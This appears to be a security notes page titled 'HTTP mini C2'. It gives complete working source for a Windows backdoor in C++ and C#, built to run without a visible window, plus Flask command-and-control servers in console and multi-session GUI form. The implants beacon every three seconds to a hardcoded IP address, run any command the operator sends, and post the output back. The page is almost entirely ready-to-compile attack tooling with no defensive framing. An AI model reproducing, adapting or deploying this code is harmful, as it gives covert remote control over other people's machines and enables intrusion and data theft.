HTTP mini C2

Beacon

C++ Version

To compile with Visual Studio: Properties > Linker > Input > add winhttp.lib and Properties > Linker > System > Change from console to window

#include <windows.h>
#include <winhttp.h>
#include <string>
#include <sstream>
#include <iomanip>

#pragma comment(lib, "winhttp.lib")

// Function to URL encode a string
std::string UrlEncode(const std::string& value) {
    std::ostringstream escaped;
    escaped.fill('0');
    escaped << std::hex;

    for (std::string::const_iterator i = value.begin(), n = value.end(); i != n; ++i) {
        std::string::value_type c = (*i);

        if (isalnum(c) || c == '-' || c == '_' || c == '.' || c == '~') {
            escaped << c;
        }
        else if (c == ' ') {
            escaped << '+';
        }
        else {
            escaped << '%' << std::setw(2) << std::uppercase << ((int)c) << std::setw(0);
        }
    }

    return escaped.str();
}

// Function to execute a command
std::string ExecuteCommand(const char* cmd, const char* params) {
    std::string result = "";
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    std::string fullCmd = std::string(cmd) + " " + std::string(params);

    // Create pipes for communication
    HANDLE g_hChildStd_OUT_Rd = NULL;
    HANDLE g_hChildStd_OUT_Wr = NULL;
    SECURITY_ATTRIBUTES saAttr;

    saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    saAttr.bInheritHandle = TRUE;
    saAttr.lpSecurityDescriptor = NULL;

    CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0);
    SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0);

    si.hStdOutput = g_hChildStd_OUT_Wr;
    si.hStdError = g_hChildStd_OUT_Wr;
    si.dwFlags |= STARTF_USESTDHANDLES;

    // Create child process
    if (!CreateProcessA(NULL, (LPSTR)fullCmd.c_str(), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
        return "";
    }

    CloseHandle(g_hChildStd_OUT_Wr);

    DWORD dwRead;
    CHAR chBuf[4096];

    // Read command output
    for (;;) {
        bool bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, 4096, &dwRead, NULL);
        if (!bSuccess || dwRead == 0) break;

        result.append(chBuf, dwRead);
    }

    // Clean up
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(g_hChildStd_OUT_Rd);

    return result;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    LPCWSTR serverName = L"192.168.187.137";
    HINTERNET hSession = WinHttpOpen(L"A WinHTTP Example Program/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hConnect = WinHttpConnect(hSession, serverName, INTERNET_DEFAULT_HTTP_PORT, 0);

    std::string lastCommand = "";
    std::string response = "";
    std::string command = "";
    std::string commandParams = "";

    while (true) {
        if (commandParams != lastCommand) {
            response = ExecuteCommand(command.c_str(), commandParams.c_str());
            lastCommand = commandParams;
        }
        else {
            response = "None";
        }

        std::string postData = "response=" + UrlEncode(response);

        HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
        WinHttpAddRequestHeaders(hRequest, L"Content-Type: application/x-www-form-urlencoded", (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD);

        WinHttpSendRequest(hRequest,
            WINHTTP_NO_ADDITIONAL_HEADERS, 0,
            (LPVOID)postData.c_str(), postData.length(),
            postData.length(), 0);
        WinHttpReceiveResponse(hRequest, NULL);

        DWORD dwSize = 0;
        DWORD dwDownloaded = 0;
        LPSTR pszOutBuffer;
        std::string httpResponse;
        do {
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
                break;
            }

            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer) {
                dwSize = 0;
                break;
            }
            else {
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {
                }
                else {
                    httpResponse.append(pszOutBuffer, dwDownloaded);
                }

                delete[] pszOutBuffer;
            }
        } while (dwSize > 0);

        if (httpResponse == "exit") {
            break;
        }

        size_t pos = httpResponse.find(' ');
        command = httpResponse.substr(0, pos);
        commandParams = pos != std::string::npos ? httpResponse.substr(pos + 1) : "";

        Sleep(3000);

        WinHttpCloseHandle(hRequest);
    }

    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    return 0;
}

C# Version

- Version sending initial empty response and wait for instructions

using System.Collections.Generic;
using System.Net.Http;
using System.Threading;
using System;

namespace ConnectBack
{
    public class Program
    {
        private static readonly HttpClient client = new HttpClient();

        public static async System.Threading.Tasks.Task Main(string[] args)
        {
            string res = "";
            string strCommand = "";
            string strCommandParameters = "";

            string last_command = "";

            while (true)
            {
                if (!string.Equals(strCommandParameters, last_command))
                {
                    System.Diagnostics.Process pProcess = new System.Diagnostics.Process();
                    pProcess.StartInfo.FileName = strCommand;
                    pProcess.StartInfo.Arguments = strCommandParameters;
                    pProcess.StartInfo.UseShellExecute = false;
                    pProcess.StartInfo.RedirectStandardOutput = true;
                    pProcess.Start();
                    res = pProcess.StandardOutput.ReadToEnd();
                    pProcess.WaitForExit();
                    last_command = strCommandParameters;
                }
                else
                {
                    res = "None";
                }

                var values = new Dictionary<string, string>
                {
                    { "response", res }
                };

                var content = new FormUrlEncodedContent(values);
                var response = await client.PostAsync("http://192.168.187.137:80/", content);
                var resp = await response.Content.ReadAsStringAsync();
                resp = resp.Trim();

                if (string.Equals(resp, "exit"))
                {
                    Console.WriteLine("Exiting");
                    return;
                }

                // Split the command and arguments
                string[] commandParts = resp.Split(' ', 2);
                strCommand = commandParts[0];
                strCommandParameters = commandParts.Length > 1 ? commandParts[1] : "";

                Thread.Sleep(3000);
            }
        }
    }
}

- Version opening cmd.exe first along with whoami command and then waiting for instructions

using System.Collections.Generic;
using System.Net.Http;
using System.Threading;
using System;

namespace ConnectBack
{
    public class Program
    {
        private static readonly HttpClient client = new HttpClient();

        public static async System.Threading.Tasks.Task Main(string[] args)
        {
            string res = "";
            string strCommand = "cmd.exe";
            string strCommandParameters = "/C whoami";

            string last_command = "";

            while (true)
            {
                if (!string.Equals(strCommandParameters, last_command))
                {
                    System.Diagnostics.Process pProcess = new System.Diagnostics.Process();
                    pProcess.StartInfo.FileName = strCommand;
                    pProcess.StartInfo.Arguments = strCommandParameters;
                    pProcess.StartInfo.UseShellExecute = false;
                    pProcess.StartInfo.RedirectStandardOutput = true;
                    pProcess.Start();
                    res = pProcess.StandardOutput.ReadToEnd();
                    pProcess.WaitForExit();
                    last_command = strCommandParameters;
                }
                else
                {
                    res = "None";
                }

                var values = new Dictionary<string, string>
                {
                    { "response", res }
                };

                var content = new FormUrlEncodedContent(values);
                var response = await client.PostAsync("http://192.168.187.137:80/", content);
                var resp = await response.Content.ReadAsStringAsync();
                resp = resp.Trim();

                if (string.Equals(resp, "exit"))
                {
                    Console.WriteLine("F");
                    return;
                }
                strCommandParameters = "/C " + resp;
                Thread.Sleep(3000);
            }
        }
    }
}

Handler

Console Version

from flask import Flask, request
app = Flask(__name__)

@app.route('/', methods=['POST'])
def command_and_control():
    data = request.form['response']
    print("Received data: ", data)
    # You can enter your command here, for example: dir, whoami, etc.
    # After executing a command on the C# client, it will wait for the next command
    command = input("Enter command: ")
    return command if command else "exit"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

GUI Version

import threading
import sys
from flask import Flask, request
from tkinter import *
from tkinter import ttk
from tkinter.scrolledtext import ScrolledText
from tkinter import font as tkFont

app = Flask(__name__)

clients = {}  # Store client data as {client_ip: output_text_widget}
current_client_ip = None  # Track the currently selected client

class TextRedirector(object):
    def __init__(self, widget):
        self.widget = widget
        self.filter_strings = [
            "* Serving Flask app",
            "* Environment: production",
            "WARNING: This is a development server.",
            "Use a production WSGI server instead.",
            "* Debug mode: off",
            "* Running on all addresses.",
            "* Running on http://"
        ]

    def write(self, str):
        if any(filter_str in str for filter_str in self.filter_strings):
            return
        self.widget.configure(state='normal')
        self.widget.insert('end', str)
        self.widget.configure(state='disabled')
        self.widget.see('end')

    def flush(self):
        pass

def start_flask_app():
    app.run(host='0.0.0.0', port=80, use_reloader=False)

@app.route('/', methods=['POST'])
def command_and_control():
    client_ip = request.remote_addr
    data = request.form['response']
    display_data(client_ip, data)
    command = wait_for_command(client_ip)
    if command == "exit":
        if client_ip == current_client_ip:
            remove_client_after_exit(client_ip)
        return "exit"
    return command

def display_data(client_ip, data):
    if client_ip not in clients:
        add_client(client_ip)
    formatted_data = f">> Received Response:\n{data}\n" if data else "\n"
    if clients[client_ip]:
        clients[client_ip].after(0, lambda: update_text_area(clients[client_ip], formatted_data))

def update_text_area(text_widget, data):
    text_widget.configure(state='normal')
    text_widget.insert('end', data)
    text_widget.configure(state='disabled')
    text_widget.see('end')

def wait_for_command(client_ip):
    input_event.wait()
    input_event.clear()
    command = entry_field.get()
    entry_field.delete(0, 'end')
    if command:
        display_command(command)
    return command

def display_command(command):
    if current_client_ip and clients[current_client_ip]:
        formatted_command = f"$ {command}\n\n"
        update_text_area(clients[current_client_ip], formatted_command)

def remove_client_after_exit(client_ip):
    root.after(1000, lambda: remove_client(client_ip))  # Adjust delay as needed

def remove_client(client_ip):
    if client_ip in clients:
        clients[client_ip].pack_forget()
        clients.pop(client_ip)
        client_list.delete(client_list.get(0, END).index(client_ip))
        update_client_list_selection()

def add_client(client_ip):
    if client_ip not in clients:
        client_text_area = ScrolledText(client_frame, wrap='word', bg="#2d2d2d", fg="#ffffff", font=("Consolas", 10), state='disabled', height=5)
        client_text_area.pack(padx=10, pady=10, fill='both', expand=True)
        clients[client_ip] = client_text_area
        client_list.insert(END, client_ip)
        update_client_list_selection()

def on_enter_command(event=None):
    input_event.set()

def on_client_select(event):
    global current_client_ip
    selection = event.widget.curselection()
    if selection:
        index = selection[0]
        current_client_ip = event.widget.get(index)
        for ip, text_area in clients.items():
            text_area.pack_forget()
        clients[current_client_ip].pack(padx=10, pady=(5, 0), fill='both', expand=True)
        update_client_list_selection()

def update_client_list_selection():
    all_clients = client_list.get(0, END)  # Get all items in the client list as a tuple
    for i in range(client_list.size()):
        client_list.itemconfig(i, {'bg': 'white'})
    if current_client_ip and current_client_ip in all_clients:
        index = all_clients.index(current_client_ip)
        client_list.itemconfig(index, {'bg': 'light coral'})
    elif not current_client_ip or current_client_ip not in all_clients:
        # This handles the case where there's no current client selected or it's been removed
        # Optionally clear the selection or take any other necessary action here
        pass

def on_right_click(event):
    global current_client_ip
    try:
        # Ensure selection is set to the item under the cursor
        event.widget.selection_clear(0, END)
        event.widget.activate(event.widget.nearest(event.y))
        event.widget.selection_set(event.widget.nearest(event.y))
        current_client_ip = event.widget.get(event.widget.nearest(event.y))
        # Create and display the context menu
        context_menu = Menu(root, tearoff=0)
        context_menu.add_command(label="Interact", command=interact_with_client)
        context_menu.add_command(label="Exit", command=exit_client)
        context_menu.post(event.x_root, event.y_root)
    except:
        pass

def interact_with_client():
    entry_field.focus()

def exit_client():
    global current_client_ip
    if current_client_ip:
        entry_field.insert(END, "exit")
        input_event.set()
        remove_client_after_exit(current_client_ip)
    current_client_ip = None

# Initialize the GUI
root = Tk()
root.title("C2 - SergioF20")

# Center the window on the screen
window_width = 1200
window_height = 800
screen_width = root.winfo_screenwidth()
screen_height = root.winfo_screenheight()
x_coordinate = int((screen_width / 2) - (window_width / 2))
y_coordinate = int((screen_height / 2) - (window_height / 2))
root.geometry(f"{window_width}x{window_height}+{x_coordinate}+{y_coordinate}")

root.configure(bg="#1e1e1e")

notebook = ttk.Notebook(root)
client_frame = Frame(notebook, bg="#1e1e1e")
logs_frame = Frame(notebook, bg="#1e1e1e")
notebook.add(client_frame, text='Sessions')
notebook.add(logs_frame, text='Logs')
notebook.pack(expand=True, fill='both')

client_list_frame = Frame(client_frame, bg="#1e1e1e")
client_list_frame.pack(padx=10, pady=(10, 0), fill='x')
client_list = Listbox(client_list_frame, bg="#252526", fg="#c792ea", font=("Consolas", 10))
client_list.pack(side='left', fill='both', expand=True)
client_list.bind("<<ListboxSelect>>", on_client_select)
client_list.bind("<Button-3>", on_right_click)  # Bind right-click event

command_frame = Frame(client_frame, bg="#1e1e1e")
command_frame.pack(padx=10, pady=(0, 10), fill='x', side='bottom')

entry_field = Entry(command_frame, bg="#252526", fg="#c792ea", insertbackground="#c792ea", font=("Consolas", 10))
entry_field.pack(side='left', fill='both', expand=True)
entry_field.bind("<Return>", on_enter_command)

enter_button = Button(command_frame, text="➤", bg="#3e3e42", fg="#c792ea", font=("Consolas", 10))
enter_button.pack(side='left', padx=(5, 0))

input_event = threading.Event()

logs_text_area = ScrolledText(logs_frame, wrap='word', bg="#2d2d2d", fg="#ffffff", font=("Consolas", 10), state='disabled')
logs_text_area.pack(padx=10, pady=10, fill='both', expand=True)

sys.stdout = TextRedirector(logs_text_area)
sys.stderr = sys.stdout

threading.Thread(target=start_flask_app, daemon=True).start()

root.mainloop()

sys.stdout = sys.__stdout__
sys.stderr = sys.__stderr__

Last updated